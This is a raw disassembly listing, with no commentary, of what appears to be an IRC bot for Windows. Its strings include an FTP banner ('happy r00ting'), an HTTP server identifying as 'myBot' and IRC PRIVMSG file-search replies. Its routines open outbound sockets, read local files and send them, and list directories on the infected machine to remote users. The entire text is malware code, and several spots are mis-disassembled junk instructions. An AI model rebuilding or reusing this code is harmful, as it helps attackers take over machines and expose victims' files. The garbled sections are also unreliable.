cmp [ebp-444h], esi
jnz short loc_410236
push esi
lea eax, [ebp-8E0h]
push dword ptr [ebp-448h]
push eax
lea eax, [ebp-4C8h]
push eax
push dword ptr [ebp-6E0h]
call sub_40145D
add esp, 14h
loc_410236: ; CODE XREF: seg000:00410211j
call sub_41037E
cmp eax, 1
jnz loc_4102D3
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; dword_4F14E8
lea eax, [ebp-3Ch]
push eax
lea eax, [ebp-8E0h]
push offset dword_449A9C
push eax
call sub_41D260
add esp, 0Ch
cmp [ebp-444h], esi
jnz short loc_410292
push esi
lea eax, [ebp-8E0h]
push dword ptr [ebp-448h]
push eax
lea eax, [ebp-4C8h]
push eax
push dword ptr [ebp-6E0h]
call sub_40145D
add esp, 14h
loc_410292: ; CODE XREF: seg000:0041026Dj
lea eax, [ebp-8E0h]
push eax
call sub_4161A7
inc ds:dword_4E1D38
pop ecx
jmp short loc_4102D3
; ---------------------------------------------------------------------------
loc_4102A7: ; CODE XREF: seg000:004101EDj
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_4102D0
; ---------------------------------------------------------------------------
loc_4102B1: ; CODE XREF: seg000:004101CBj
lea eax, [ebp-0B0h]
push offset aQuit_1 ; "QUIT"
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_4102D3
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_4102D0: ; CODE XREF: seg000:0040FF49j
; seg000:0040FF6Dj ...
push edi
call ebx ; dword_4F14E8
loc_4102D3: ; CODE XREF: seg000:0041009Dj
; seg000:0041023Ej ...
push 64h
lea eax, [ebp-2A0h]
push esi
push eax
call sub_41D100
add esp, 0Ch
loc_4102E5: ; CODE XREF: seg000:0040FE1Ej
; seg000:0040FE47j ...
inc edi
cmp edi, [ebp-4]
mov [ebp+8], edi
jle loc_40FDEC
jmp loc_40FDB1
; ---------------------------------------------------------------------------
loc_4102F7: ; CODE XREF: seg000:0040FDDCj
push 1
pop eax
loc_4102FA: ; CODE XREF: seg000:0040FD8Ej
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410301 proc near ; CODE XREF: seg000:004101E3p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_4F14DC ; WSAStartup
push 0
push 1
push 2
call ds:dword_4F14E4 ; socket
push [ebp+arg_0]
mov ds:dword_4E2644, eax
mov [ebp+var_10], 2
call ds:dword_4F14F0 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_4F14D4 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push ds:dword_4E2644
call ds:dword_4F14B4 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_410379
push ds:dword_4E2644
call ds:dword_4F14D0 ; closesocket
call ds:dword_4F14B8 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_410379: ; CODE XREF: sub_410301+60j
push 1
pop eax
leave
retn
sub_410301 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41037E proc near ; CODE XREF: seg000:loc_410236p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call near ptr 3D0000h
stosb
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_41D0E0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_410415
test byte ptr [esi+0Ch], 10h
jnz short loc_4103F9
push edi
mov edi, 400h
loc_4103C1: ; CODE XREF: sub_41037E+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_41CDD0
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push ds:dword_4E2644
call ds:dword_4F14E8 ; send
push 1
call ds:dword_4F12F4 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_4103C1
pop edi
loc_4103F9: ; CODE XREF: sub_41037E+3Bj
push esi
call sub_41ACF0
pop ecx
push ds:dword_4E2644
call ds:dword_4F14D0 ; closesocket
call ds:dword_4F14B8 ; WSACleanup
push 1
pop eax
loc_410415: ; CODE XREF: sub_41037E+35j
pop esi
leave
retn
sub_41037E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410418 proc near ; DATA XREF: seg000:0040798Eo
; seg000:00409B83o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41DEB0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41D100
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call ds:dword_4514F4
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call ds:dword_451570
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_410809
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov ds:dword_4523C4[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call ds:dword_451520
cmp eax, 0FFFFFFFFh
jz loc_410809
push 7FFFFFFFh
push edi
call ds:dword_45151C
cmp eax, 0FFFFFFFFh
jz loc_410809
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call ds:dword_45158C
cmp eax, 0FFFFFFFFh
jz loc_410809
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_4104EF: ; CODE XREF: sub_410418+3E7j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call ds:dword_4514DC
cmp eax, 0FFFFFFFFh
jz loc_410804
xor esi, esi
mov [ebp+var_4], esi
loc_410525: ; CODE XREF: sub_410418+3E1j
lea eax, [ebp+var_6F0]
push eax
push esi
call ds:dword_4513E4
test eax, eax
jz loc_4107EF
cmp esi, [ebp+var_C]
jnz short loc_4105A7
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call ds:dword_451584
cmp eax, 0FFFFFFFFh
jz loc_4107EF
xor ecx, ecx
test ebx, ebx
jbe short loc_410579
lea edx, [ebp+var_134]
loc_41056D: ; CODE XREF: sub_410418+15Fj
cmp [edx], eax
jz short loc_410579
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_41056D
loc_410579: ; CODE XREF: sub_410418+14Dj
; sub_410418+157j
cmp ecx, ebx
jnz short loc_410596
cmp ebx, 40h
jnb short loc_410596
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_410596: ; CODE XREF: sub_410418+163j
; sub_410418+168j
cmp eax, [ebp+var_8]
jbe loc_4107EF
mov [ebp+var_8], eax
jmp loc_4107EF
; ---------------------------------------------------------------------------
loc_4105A7: ; CODE XREF: sub_410418+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41D100
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41D100
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call ds:dword_45150C
test eax, eax
jg short loc_41063A
push esi
call ds:dword_451588
xor ecx, ecx
test ebx, ebx
jbe loc_4107EF
lea eax, [ebp+var_134]
loc_4105F9: ; CODE XREF: sub_410418+1EBj
cmp [eax], esi
jz short loc_41060A
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_4105F9
jmp loc_4107EF
; ---------------------------------------------------------------------------
loc_41060A: ; CODE XREF: sub_410418+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_41062E
lea eax, [ebp+ecx*4+var_134]
loc_410618: ; CODE XREF: sub_410418+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_410618
loc_41062E: ; CODE XREF: sub_410418+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_4107EF
; ---------------------------------------------------------------------------
loc_41063A: ; CODE XREF: sub_410418+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41D100
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41AC70
add esp, 10h
test eax, eax
jbe loc_4107EF
loc_410668: ; CODE XREF: sub_410418+30Fj
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_410713
lea eax, [ebp+var_18F0]
push offset aGet ; "GET "
push eax
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_4106E7
lea eax, [ebp+var_18F0]
push eax
call sub_41AC70
cmp eax, 5
pop ecx
jbe short loc_4106E7
push offset asc_449B48 ; " "
push offset asc_449B4C ; " "
lea eax, [ebp+var_18F0]
push offset aGet_0 ; "GET "
push eax
call sub_41DBE0
pop ecx
pop ecx
push eax
call sub_41DBE0
pop ecx
pop ecx
push eax
call sub_41D6B0
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41E550
add esp, 10h
jmp short loc_4106FE
; ---------------------------------------------------------------------------
loc_4106E7: ; CODE XREF: sub_410418+27Ej
; sub_410418+290j
lea eax, [ebp+var_18F0]
push offset asc_449B58 ; "\r\n"
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_410732
loc_4106FE: ; CODE XREF: sub_410418+2CDj
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41D100
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_410713: ; CODE XREF: sub_410418+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41AC70
cmp [ebp+arg_0], eax
pop ecx
jb loc_410668
jmp loc_4107EF
; ---------------------------------------------------------------------------
loc_410732: ; CODE XREF: sub_410418+2E4j
xor ecx, ecx
test ebx, ebx
jbe short loc_41077C
lea eax, [ebp+var_134]
loc_41073E: ; CODE XREF: sub_410418+333j
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_41074F
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_41073E
jmp short loc_41077F
; ---------------------------------------------------------------------------
loc_41074F: ; CODE XREF: sub_410418+32Bj
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_410773
lea eax, [ebp+ecx*4+var_134]
loc_41075D: ; CODE XREF: sub_410418+359j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_41075D
loc_410773: ; CODE XREF: sub_410418+33Cj
dec ebx
mov [ebp+var_138], ebx
jmp short loc_41077F
; ---------------------------------------------------------------------------
loc_41077C: ; CODE XREF: sub_410418+31Ej
mov esi, [ebp+var_4]
loc_41077F: ; CODE XREF: sub_410418+335j
; sub_410418+362j
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_4107E8
lea eax, [ebp+var_360]
push eax
call sub_41AC70
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41AC70
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_4107E8
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call ds:dword_45158C
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call near ptr loc_4109F8+3
add esp, 14h
jmp short loc_4107EF
; ---------------------------------------------------------------------------
loc_4107E8: ; CODE XREF: sub_410418+36Fj
; sub_410418+395j
push esi
call ds:dword_451588
loc_4107EF: ; CODE XREF: sub_410418+11Dj
; sub_410418+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_410525
jmp loc_4104EF
; ---------------------------------------------------------------------------
loc_410804: ; CODE XREF: sub_410418+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_410809: ; CODE XREF: sub_410418+6Aj
; sub_410418+92j ...
call ds:dword_451488
push eax
lea eax, [ebp+var_8F0]
push offset unk_449B5C
push eax
call sub_41D260
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_41084F
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_40145D
add esp, 14h
loc_41084F: ; CODE XREF: sub_410418+412j
lea eax, [ebp+var_8F0]
push eax
call sub_4161A7
pop ecx
push edi
call ds:dword_451588
push [ebp+var_254]
call sub_40905B
pop ecx
push ebx
call near ptr 3D0000h
dec ebp
pop edi
pop esi
pop ebx
sub_410418 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410879 proc near ; DATA XREF: seg000:00410C41o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_1E6AE03D = byte ptr 1E6AE045h
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41DEB0
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41D260
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_41D260
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_4108DE
push offset aTextHtml ; "text/html"
jmp short loc_4108E3
; ---------------------------------------------------------------------------
loc_4108DE: ; CODE XREF: sub_410879+5Cj
push offset aApplicationOct ; "application/octet-stream"
loc_4108E3: ; CODE XREF: sub_410879+63j
lea eax, [ebp+var_9C]
push eax
call sub_41D260
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call near ptr 3D0000h
cmp cl, [ebp+arg_1E6AE03D]
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 3D0000h
daa
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_41095C
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41D260
add esp, 24h
jmp short loc_41097D
; ---------------------------------------------------------------------------
loc_41095C: ; CODE XREF: sub_410879+C4j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41D260
add esp, 28h
loc_41097D: ; CODE XREF: sub_410879+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call ds:dword_451540
cmp [ebp+var_A4], edi
jnz short loc_4109BD
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_41132D
pop ecx
pop ecx
jmp short loc_4109DA
; ---------------------------------------------------------------------------
loc_4109BD: ; CODE XREF: sub_410879+12Cj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call loc_410CAB
add esp, 10h
loc_4109DA: ; CODE XREF: sub_410879+142j
push [ebp+var_44C]
call ds:dword_451588
push [ebp+var_B4]
call sub_40905B
pop ecx
push edi
call near ptr 3D0000h
loc_4109F8: ; CODE XREF: sub_410418+3C6p
mov edx, 8B555E5Fh
sub_410879 endp ; sp-analysis failed
in al, dx
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp-210h]
push edi
push eax
mov [ebp-4], edi
call sub_41D100
mov eax, [ebp+10h]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_410A31
push eax
push offset aS_20 ; "\\%s"
jmp short loc_410A3A
; ---------------------------------------------------------------------------
loc_410A31: ; CODE XREF: seg000:00410A27j
push eax
mov byte ptr [eax], 5Ch
push offset aS_21 ; "%s"
loc_410A3A: ; CODE XREF: seg000:00410A2Fj
lea eax, [ebp-10Ch]
push eax
call sub_41D260
add esp, 0Ch
lea eax, [ebp-10Ch]
xor esi, esi
xor ebx, ebx
push eax
call sub_41AC70
test eax, eax
pop ecx
jbe short loc_410AD5
mov dword ptr [ebp+10h], 2
loc_410A65: ; CODE XREF: seg000:00410AD3j
lea eax, [ebp-10Ch]
push eax
call sub_41AC70
cmp [ebp+10h], eax
pop ecx
jnb short loc_410AA5
cmp byte ptr [ebp+esi-10Ch], 25h
jnz short loc_410AA5
cmp byte ptr [ebp+esi-10Bh], 32h
jnz short loc_410AA5
cmp byte ptr [ebp+esi-10Ah], 30h
jnz short loc_410AA5
inc esi
mov byte ptr [ebp+ebx-210h], 20h
inc esi
add dword ptr [ebp+10h], 2
jmp short loc_410ABF
; ---------------------------------------------------------------------------
loc_410AA5: ; CODE XREF: seg000:00410A75j
; seg000:00410A7Fj ...
mov al, [ebp+esi-10Ch]
cmp al, 2Fh
jnz short loc_410AB5
push 5Ch
pop eax
jmp short loc_410AB8
; ---------------------------------------------------------------------------
loc_410AB5: ; CODE XREF: seg000:00410AAEj
movsx eax, al
loc_410AB8: ; CODE XREF: seg000:00410AB3j
mov [ebp+ebx-210h], al
loc_410ABF: ; CODE XREF: seg000:00410AA3j
lea eax, [ebp-10Ch]
inc esi
inc dword ptr [ebp+10h]
push eax
inc ebx
call sub_41AC70
cmp esi, eax
pop ecx
jb short loc_410A65
loc_410AD5: ; CODE XREF: seg000:00410A5Cj
lea eax, [ebp-210h]
push eax
lea eax, [ebp-314h]
push dword ptr [ebp+0Ch]
push offset aSS_2 ; "%s%s"
push eax
call sub_41D260
lea eax, [ebp-314h]
push offset asc_449DC0 ; "\n"
push eax
call sub_41D6B0
add esp, 18h
lea eax, [ebp-314h]
push eax
call ds:dword_4F1334 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_410B23
cmp eax, 0FFFFFFFFh
jnz short loc_410B26
push dword ptr [ebp+8]
jmp short loc_410BA2
; ---------------------------------------------------------------------------
loc_410B23: ; CODE XREF: seg000:00410B17j
mov [ebp-4], esi
loc_410B26: ; CODE XREF: seg000:00410B1Cj
cmp byte ptr [ebp+ebx-211h], 5Ch
jnz short loc_410B33
mov [ebp-4], esi
loc_410B33: ; CODE XREF: seg000:00410B2Ej
mov ebx, [ebp+8]
cmp [ebp-4], edi
mov [ebp-6C4h], ebx
mov [ebp-318h], edi
jz short loc_410BAD
cmp [ebp+14h], edi
jz short loc_410BA1
lea eax, [ebp-314h]
push offset asc_449DC4 ; "*"
push eax
call sub_41E560
lea eax, [ebp-314h]
push eax
lea eax, [ebp-640h]
push eax
call sub_41D260
lea eax, [ebp-210h]
push eax
call sub_4113EA
lea eax, [ebp-210h]
push eax
lea eax, [ebp-53Ch]
push eax
call sub_41D260
add esp, 1Ch
or dword ptr [ebp-330h], 0FFFFFFFFh
mov [ebp-31Ch], esi
jmp short loc_410BFC
; ---------------------------------------------------------------------------
loc_410BA1: ; CODE XREF: seg000:00410B4Aj
push ebx
loc_410BA2: ; CODE XREF: seg000:00410B21j
call ds:dword_451588
jmp loc_410CA4
; ---------------------------------------------------------------------------
loc_410BAD: ; CODE XREF: seg000:00410B45j
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp-314h]
push 80000000h
push eax
call ds:dword_4F1380 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_410BFC
lea eax, [ebp-314h]
push eax
lea eax, [ebp-640h]
push eax
call sub_41D260
pop ecx
mov [ebp-31Ch], edi
pop ecx
push edi
push esi
call near ptr 3D0000h
jbe short loc_410C46
mov [ebp-330h], eax
call ds:dword_4F12FC ; CloseHandle
loc_410BFC: ; CODE XREF: seg000:00410B9Fj
; seg000:00410BCAj
mov esi, [ebp+18h]
lea eax, [ebp-8C4h]
push esi
push offset unk_449DC8
push eax
call sub_41D260
push edi
lea eax, [ebp-8C4h]
push 3
push eax
call sub_408D3F
mov [ebp-32Ch], eax
imul eax, 234h
add esp, 18h
mov ds:dword_4523BC[eax], esi
lea eax, [ebp-8]
push eax
lea eax, [ebp-6C4h]
push edi
push eax
push offset sub_410879
loc_410C46: ; CODE XREF: seg000:00410BEEj
push edi
push edi
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-32Ch]
imul ecx, 234h
cmp eax, edi
mov ds:dword_4523CC[ecx], eax
jz short loc_410C76
loc_410C64: ; CODE XREF: seg000:00410C74j
cmp [ebp-318h], edi
jnz short loc_410CA4
push 5
call ds:dword_4F12F4 ; Sleep
jmp short loc_410C64
; ---------------------------------------------------------------------------
loc_410C76: ; CODE XREF: seg000:00410C62j
push ebx
call ds:dword_451588
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-8C4h]
push offset unk_449E10
push eax
call sub_41D260
lea eax, [ebp-8C4h]
push eax
call sub_4161A7
add esp, 10h
loc_410CA4: ; CODE XREF: seg000:00410BA8j
; seg000:00410C6Aj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_410CAB: ; CODE XREF: seg000:00407025p
; sub_410879+159p
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp-594h]
push ebx
push eax
mov [ebp-4], ebx
mov [ebp-8], ebx
call sub_41D100
mov edi, [ebp+8]
push offset asc_449E5C ; "\n"
push edi
call sub_41D6B0
add esp, 14h
cmp [ebp+10h], ebx
jz short loc_410D0A
push edi
mov esi, 200h
push dword ptr [ebp+10h]
lea eax, [ebp-248h]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41D360
add esp, 14h
jmp loc_410E07
; ---------------------------------------------------------------------------
loc_410D0A: ; CODE XREF: seg000:00410CE5j
cmp [ebp+14h], ebx
push edi
jz loc_410DED
call sub_41AC70
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp-248h]
push esi
push eax
call sub_41D360
add esp, 14h
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_451540
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp-248h]
push esi
push eax
call sub_41D360
add esp, 10h
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_451540
push edi
call sub_41AC70
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp-248h]
push esi
push eax
call sub_41D360
add esp, 1Ch
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_451540
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp-248h]
push esi
push eax
call sub_41D360
add esp, 0Ch
jmp short loc_410E07
; ---------------------------------------------------------------------------
loc_410DED: ; CODE XREF: seg000:00410D0Ej
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp-248h]
push esi
push eax
call sub_41D360
add esp, 10h
loc_410E07: ; CODE XREF: seg000:00410D05j
; seg000:00410DEBj
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_451540
cmp [ebp+14h], ebx
jz short loc_410E9F
push dword ptr [ebp+14h]
call sub_41AC70
cmp eax, 2
pop ecx
jbe short loc_410E9F
push dword ptr [ebp+14h]
call sub_41AC70
sub eax, 3
pop ecx
jz short loc_410E53
loc_410E47: ; CODE XREF: seg000:00410E51j
mov ecx, [ebp+14h]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_410E53
dec eax
jnz short loc_410E47
loc_410E53: ; CODE XREF: seg000:00410E45j
; seg000:00410E4Ej
inc eax
push eax
lea eax, [ebp-594h]
push dword ptr [ebp+14h]
push eax
call sub_41D800
lea eax, [ebp-594h]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp-248h]
push esi
push eax
call sub_41D360
add esp, 1Ch
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
push dword ptr [ebp+0Ch]
call ds:dword_451540
loc_410E9F: ; CODE XREF: seg000:00410E29j
; seg000:00410E37j
lea eax, [ebp-388h]
push eax
push edi
call ds:dword_4F13B4 ; FindFirstFileA
lea ecx, [ebp-388h]
mov [ebp+8], eax
push ecx
push eax
call ds:dword_4F13B0 ; FindNextFileA
test eax, eax
jz loc_411290
mov edi, 1FFh
loc_410ECB: ; CODE XREF: seg000:0041128Aj
cmp [ebp-388h], ebx
jz loc_411278
lea eax, [ebp-35Ch]
push offset a__ ; ".."
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_411278
lea eax, [ebp-35Ch]
push offset a__0 ; "."
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_411278
lea eax, [ebp-20h]
push eax
lea eax, [ebp-374h]
push eax
call near ptr 3D0000h
sub cl, [ebp-72AF17BBh]
inc ebp
loopne near ptr loc_410F73+3
call near ptr 3D0000h
adc eax, 0F0458B66h
mov ecx, offset aPm_0 ; "PM"
cmp ax, 0Ch
ja short loc_410F40
mov ecx, offset aAm ; "AM"
loc_410F40: ; CODE XREF: seg000:00410F39j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_410F4C
sub eax, 0Ch
loc_410F4C: ; CODE XREF: seg000:00410F47j
push ecx
movzx ecx, word ptr [ebp-0Eh]
push ecx
push eax
movzx eax, word ptr [ebp-18h]
push eax
movzx eax, word ptr [ebp-12h]
push eax
movzx eax, word ptr [ebp-16h]
push eax
lea eax, [ebp-48h]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41D260
add esp, 20h
loc_410F73: ; CODE XREF: seg000:00410F24j
test byte ptr [ebp-388h], 10h
jz loc_4110F9
inc dword ptr [ebp-8]
cmp [ebp+10h], ebx
jz short loc_410FCD
lea eax, [ebp-35Ch]
push eax
push offset aS_22 ; "<%s>"
lea eax, [ebp-490h]
push 106h
push eax
call sub_41D360
lea eax, [ebp-48h]
push eax
lea eax, [ebp-490h]
push eax
lea eax, [ebp-248h]
push dword ptr [ebp+10h]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41D360
add esp, 28h
jmp loc_411249
; ---------------------------------------------------------------------------
loc_410FCD: ; CODE XREF: seg000:00410F86j
cmp [ebp+14h], ebx
jz loc_4110B7
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp-248h]
push edi
push eax
call sub_41D360
add esp, 10h
lea eax, [ebp-248h]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-248h]
push eax
